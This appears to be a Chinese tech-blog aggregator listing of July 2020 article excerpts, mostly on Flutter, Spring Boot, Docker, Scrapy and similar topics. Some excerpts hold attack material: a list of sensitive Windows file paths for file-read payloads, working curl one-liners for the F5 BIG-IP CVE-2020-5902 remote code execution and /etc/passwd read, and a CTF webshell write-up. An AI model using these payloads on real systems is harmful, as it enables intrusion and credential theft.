术之多

文件读取一些payload

Windows: C:boot.ini //查看系统版本 C:WindowsSystem32inetsrvMetaBase.xml //IIS配置文件 C:Windowsrepairsam //存储系统初次安装的密码 C:Program Filesmysqlmy.ini //Mysql配置 C:Program Filesmysqldatamysqluser.MYD //Mysql root C:Windowsphp.ini //php配置信息 C:Windowsmy.ini //Mysql配置信

2020-07-07

【Flutter 实战】动画核心

老孟导读:动画系统是任何一个UI框架的核心功能,也是开发者学习一个UI框架的重中之重,同时也是比较难掌握的一部分,下面我们就一层一层的揭开 Flutter 动画的面纱. 任何程序的动画原理都是一样的,即:视觉暂留,视觉暂留又叫视觉暂停,人眼在观察景物时,光信号传入大脑神经,需经过一段短暂的时间,光的作用结束后,视觉形象并不立即消失,这种残留的视觉称"后像",视觉的这一现象则被称为"视觉暂留". 人眼能保留0.1-0.4秒左右的图像,所以在 1 秒内看到连续的25张图

2020-07-07

JavaScript图形实例：H分形

H分形是由一个字母H演化出迷宫一样场景的分形图案,其构造过程是:取一个中心点(x,y),以此中心点绘制一条长为L的水平直线和两条长为H的竖直直线,构成一个字母“H”的形状:再以两条竖直直线的上下共4个端点为中心点,分别绘制一条长为L/2的水平直线和两条长为H/2的竖直直线:重复以上操作直至达到要求的层数,可以绘制出H分形图案,如图1所示. 图1 H分形图案的生成 H分形采用递归过程易于实现,编写如下的HTML代码. <!DOCTYPE html> <head> <title

2020-07-07

使用@AutoConfigureBefore调整配置顺序竟没生效？

一个人的价值体现在能够帮助多少人.自己编码好,价值能得到很好的体现.若你做出来的东西能够帮助别人开发,大大减少开发的时间,那就功德无量. 作者:A哥(YourBatman) 公众号:BAT的乌托邦(ID:BAT-utopia) 文末是否有彩蛋:有目录前言正文配置类为何需要顺序? Spring下控制配置执行顺序 Spring Boot下控制配置执行顺序 Spring Boot内置的控制配置顺序举例三大注解使用的误区(重要) 错误使用示例三大注解使用的正确姿势使用细节注意事项三大注解

2020-07-07

Vue 项目推荐，Github 过万 Star

电鸭社区-远程工作-自由职业-兼职外包-自由从这开始嗨,我是 Martin,也叫老王.不少小伙伴,说自己是转行.自学,没有项目,今天推荐一个 Vue 实战项目还记得 Martin 仿写过在线 Markdown 简历项目吗? 感谢大家的支持,现在有了 64 个 star https://github.com/1024-cool/resume 今天介绍的项目,同样是在线简历制作. Github https://github.com/salomonelli/best-resume-ever sta

2020-07-07

Linux系统 Centos7 环境基于Docker部署Rocketmq服务

消息队列基本概述 MQ,Message Queue,基于TCP协议构建的简单协议,区别于具体的通信协议. 基于通信协议定义和抽象的更高层次的通信模型,一般都是生产者和消费者模型,又或者说服务端和客户端模型. 生产者/消费者模型:一般通过定义生产者和消费者实现消息通信从而屏蔽复杂的底层通信协议.应用于分布式应用系统,而且为之提供异步解耦和削峰填谷的能力,同时也具备互联网应用所需的海量堆积,高吞吐和可靠性重试机制的特性. 核心概念消息主题:Message Topic,一级消息类型,生产者向其发送

2020-07-07

Maven一键部署Springboot到Docker仓库，为自动化做准备

1 前言前面<Springboot整合MongoDB的Docker开发,其它应用也类似>讲解了如何做Docker开发.如何把Springboot应用打包成一个镜像,但它是手动的,本文将讲解如何通过maven一键打包部署. 2 两个maven插件搞定可以使用maven插件实现一键部署,这两个插件还是同一个公司的产品,就是著名的音乐流服务平台Spotify. 2.1 spotify/docker-maven-plugin 2.1.1 基础用法该插件可以实现镜像打包和push到仓库,无Dock

2020-07-07

iOS应用千万级架构：MVVM框架

业务模块内的MVC和MVVM架构目前,唯品会中MVC和MVVM架构并存,后期会偏重于MVVM架构的使用. MVC架构 Model:程序中要操纵的实际对象的抽象,为Controller提供经过抽象的业务数据,供Controller调度 View:视图,负责界面的元素的展示 Controller:控制器,管理View的声明周期及子view的生成和组装,负责Model和View之间的通信. MVC框架的优势:1. 应用广泛,几乎所有前端语言都有类似MVC的设计痕迹2. 设计思想非常简洁,学习成本很低

2020-07-06

Linux系统中虚拟设备文件的各种实用用法

大家好,我是良许. 大家知道,在 Linux 下,一切皆文件,对于设备文件也是如此.我们在工作的过程中,经常会看到 /dev/null 这个玩意,那它到底是什么呢? 专业地讲,/dev/null 是一个虚拟设备文件.而对程序而言,这些虚拟设备文件则会被当成真实的文件对待.程序可以向这种数据源请求数据,所得到的数据将由操作系统提供.但是,这些数据并不是从磁盘上读取到的,而是由操作系统动态生成的.虚拟设备文件的一个典型例子就是 /dev/zero . 然而,当你想向 /dev/null 写入数据时,

2020-07-06

wsl2 ubuntu20.04 上使用 kubeadm 创建一个单主集群

wsl2 ubuntu20.04 上使用 kubeadm 创建一个单主集群官方文档使用 kubeadm 创建一个单主集群环境初始化建议尽可能初始化环境,命令wsl --unregister Ubuntu-20.04可重新安装,相当于重装系统.安装或重置过程中,打开这个 wsl2 窗口,提示如下: Installing, this may take a few minutes... 适用于 Linux 的 Windows 子系统实例已终止. Please create a default U

2020-07-06

性能测试之jmeter逻辑控制种类详解一

逻辑控制器介绍 Jmeter逻辑控制可以对元件的执行逻辑进行控制,除Once only Controller仅一次控制器以外,其他控制器都可以可以嵌套其他种类的控制器,下面是jmeter5.3支持的控制器种类,我们分别对其进行介绍 Simple Controller Simple Controller用来指定一个执行单元,他不改变元件的执行顺序,主要作用是用来组织采样器和其他的逻辑控制器简单控制器只有名称和注释. 比如说我们可以用它组织模块,在各个模块里在进行请求的发送,这样看起来各模块比较独

2020-07-06

CVE-2020-5902 F5 BIG-IP 远程代码执行RCE

cve-2020-5902 : RCE:curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin' Read File:curl -v -k 'https://[F5 Host]/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd'

2020-07-06

tidyverse|数据分析常规操作-分组汇总（sumamrise+group_by)

| 本文首发于 “生信补给站” https://mp.weixin.qq.com/s/tQt0ezYJj3H7x3aWZmKVEQ 使用tidyverse进行简单的数据处理: 盘一盘Tidyverse| 筛行选列之select,玩转列操作盘一盘Tidyverse| 只要你要只要我有-filter 筛选行 Tidyverse|数据列的分分合合,一分多,多合一 Tidyverse| XX_join :多个数据表(文件)之间的各种连接本次介绍变量汇总以及分组汇总. 一 summarise 汇总汇

2020-07-06

5.scrapy过滤器

scrapy过滤器 1. 过滤器当我们在爬取网页的时候可能会遇到一个调转连接会在不同页面出现,这个时候如果我们的爬虫程序不能识别出该链接是已经爬取过的话,就会造成一种重复不必要的爬取.所以我们要对我们即将要爬取的网页进行过滤,把重复的网页链接过滤掉. 2. 指纹过滤器去重处理可以避免将重复性的数据保存到数据库中以造成大量的冗余性数据.不要在获得爬虫的结果后进行内容过滤,这样做只不过是避免后端数据库出现重复数据. 去重处理对于一次性爬取是有效的,但对于增量式爬网则恰恰相反.对于持续性长的

2020-07-06

【第五空间智能安全大赛】hate_php WriteUp

环境:https://www.ctfhub.com/#/challenge 打开题目可以看到源码: 阅读源码发现过滤掉了f l a g . p h / ; " ' ` | [ ] _ =这些字符,并且还有一些黑名单函数.这让我联想到了P神的一篇文章无数字.字母构造webshell (https://www.leavesongs.com/PENETRATION/webshell-without-alphanum-advanced.html) 测试发现可以使用: 下面就是要通过该方法构造一些黑名单之

2020-07-06

efcore 跨表查询，实现一个接口内查询两个不同数据库里各自的表数据

最近有efcore跨库查询的需求,研究了下colder框架里文档的分库实现,发现并不能完全实现一个接口下的跨库查询请求,只能满足一个业务层构造指定的唯一一个数据库访问接口. 先说下文档是怎么实现的 DbAccessor实现使用多数据库默认框架会自动注入IDbAccessor作为数据库访问接口,在需要的时候注入即可,若系统需要操作多个数据库,那么需要定义额外的接口继承IDbAccessor然后配置注入进去即可访问先定义新的接口IMyDbAccessor 然后配置数据库类型和连接字符串使用

2020-07-06

3.第一个scrapy项目

第一个scrapy项目 1. 创建scrapy项目 1.1 创建项目三剑客这里的三剑客指的是:创建项目以及运行项目的三条命令 1.1.1 创建项目 scrapy stratproject 项目名称 (base) D:\project\爬虫高性能相关>scrapy startproject spider1 New Scrapy project 'spider1', using template directory 'd:\anaconda3\lib\site-packages\scrapy\te

2020-07-06

从此不怕Synchronized锁

Synchronized的使用 Synchronized是通过监视器保证线程同步从而保证线程安全.但是Synchronized锁可以锁对象和锁类,并会产生不同的效果,通过下面的案例彻底理解Synchronized锁的使用方式. 即: 对于普通的同步方法,锁是当前实例对象对于静态同步方法,锁是该类对于同步方法块,锁是Synchronized括号里面配置的对象. 下面通过代码具体分析几种情况.要想了解并发情况,首先我们必须知道,类信息.实例对象分别存放在什么位置.类的信息,包括静

2020-07-06

Javascript安全编程规范

命名 1.原则——编码格式UTF-8,根据功能为变量与方法命名(尽量不缩写) 2.类——构造函数/类使用驼峰命名法,且首字母大写 3.方法——动词.动宾结构,使用驼峰命名法,首字母小写例如:get + 非布尔属性名() is + 布尔属性名() set + 属性名() has + 名词/形容词() 动词() 动词 + 宾语() 建议——类中的私有属性和方法名,建议以下划线开头或结尾实例:class Foo() { this._bar

2020-07-06

不懂SpringApplication生命周期事件？那就等于不会Spring Boot嘛

学习方法之少废话:吹牛.装逼.叫大哥. 作者:A哥(YourBatman) 公众号:BAT的乌托邦(ID:BAT-utopia) 文末是否有彩蛋:有目录前言正文生命周期事件流程图版本说明: SpringApplicationEvent ApplicationStartingEvent:开始启动中完成的大事记监听此事件的监听器们 ApplicationEnvironmentPreparedEvent:环境已准备好完成的大事记监听此事件的监听器们 ApplicationContex

2020-07-06